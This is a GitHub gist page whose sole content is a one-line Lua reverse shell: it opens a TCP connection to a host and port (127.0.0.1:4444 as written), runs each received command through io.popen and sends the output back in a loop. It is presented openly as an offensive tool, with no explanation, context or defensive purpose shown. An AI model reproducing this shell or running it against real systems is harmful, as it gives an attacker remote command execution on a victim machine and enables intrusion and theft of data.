Skip to content

Instantly share code, notes, and snippets.

@cldrn
Created October 8, 2018 21:24
Show Gist options
  • Save cldrn/372b31c90d7f88be9020020b8e534dc4 to your computer and use it in GitHub Desktop.
Save cldrn/372b31c90d7f88be9020020b8e534dc4 to your computer and use it in GitHub Desktop.

Revisions

  1. cldrn created this gist Oct 8, 2018.
    1 change: 1 addition & 0 deletions lua-reverse-shell.lua
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'